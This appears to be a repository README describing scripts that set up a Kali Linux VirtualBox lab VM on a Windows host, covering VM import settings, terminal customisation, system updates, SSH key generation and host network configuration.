Description

This project/repository is a local setup of Kali Linux VM in Virtualbox.

Note:

The configurations in this project/repository are for your reference ONLY (the reasons are as follows):
- The setup is hosted in Virtual Machine environment, leveraging Virtualbox on a Windows host.
- You can download Kali Linux Virtualbox VM from Official Kali Pre-built Virtual Machines.
- This setup require you to configure two network interfaces for the Kali Linux Virtualbox VM:
  1. VirtualBox Host-Only Ethernet Adapter (192.168.56.0/24)
  2. NAT
- This setup has a virtualbox-import-and-modifyvm powershell script:
  - virtualbox import and modifyvm powershell script
- This setup has a bash script file: init script
- Please change the configuration accordingly to suits your hosting environment.

virtualbox import and modifyvm powershell script

This powershell script will extract the Kali Linux VirtualBox VM archive to the specified folder.

Then, it will change the configuration accordingly:

Enable Hot-Pluggable HHD
Use USB3 instead of USB1
Enable 3D Acceleration
Enable Remote Display Server with port 5954 and use "guest" authentication method
Enable audio in
Set Network Adapter 1 to "VirtualBox Host-Only Ethernet Adapter"
Set Network Adapter 2 to "NAT"
Enable share folder with auto-mount

The virtualbox-import-and-modifyvm.ps1 file can be found here or below:

init script

This project/repository has a helper shell script with description and usage as shown below:

Description:
             This is an init script for setting up Kali Linux.
             Please select 'set-terminal' if you are running this for the first time.
             After successful running 'set-terminal', then run 'system-update'.
      Usage:
             ./kali-linux-virtualbox-init.sh [options]

    Options:
            -h:  Display this help message (--help, /?).
         setup:  Start the configuration.
        sshkey:  Start generate sshkey for kali and root.
  set-terminal:  This is to set qterminal (/home/kali/.config/qterminal.org/qterminal.ini) and make it immutable.
 system-update:  Doing system-update with 'apt update'.

The kali-linux-virtualbox-init.sh file can be found here or below:

set-terminal

Here is the breakdown details of set-terminal section.

It will help to configure:

Kali Guest's Font Size and Window Scaling.
- Font Size = 13
- Window Scaling = 2x
Enable Always Show Hidden Files for Thunar File Manager.
Install and setup terminator.
- Font Size = 20
- Emulation = xterm-256
- Scroll-back = infinite
- Enable copy on selection
- Enable putty paste style
- Enable cursor blinking
Configure terminator as default terminal instead of qterminal.
QTerminal's Font Size and Window Size by changing the configuration in /home/kali/.config/qterminal.org/qterminal.ini.
- Font Size = 20
- Enable ask on exit
- Enable always show tab bar
- Window Size = 1400x900

system-update

Here is the breakdown details of system-update section.

It will help to configure:

Do a apt update
Stop postgresql-15
- This is because Kali Linux 2023.3a Virtualbox VM has postgresql-15 installed and running that will cause apt upgrade FREEZE.
Do a apt purge -y postgresql-15 postgresql-client-15
Do a apt full-upgrade

sshkey

Here is the breakdown details of sshkey section.

It will help to configure sshkey for the user kali:

Check .ssh and sshkey existed for the user kali and root
Create .ssh and sshkey if require for the user kali and root
Copy sshkey (including private and public key) to /root/.ssh for the user root
Copy ssh public key to .ssh/authorized_keys for the user kali and root, so that you can connect ssh using private key from Windows host
Backup the sshkey (including private and public key) to /home/kali/Desktop, so that you can copy out to Windows host

setup

Here is the breakdown details of setup section.

It will help to configure:

Set hostname to kali-Virtualbox
Set timezone to Asia/Singapore
Configure static ip for eth1 (that is "Virtualbox_Lab" - "Internal" network in Virtualbox)
- '192.168.138.6/24'
Set root password
Maps hostnames to IP addresses in /etc/hosts
- '127.0.0.1 kali-Virtualbox'
- '192.168.138.6 kali-Virtualbox'
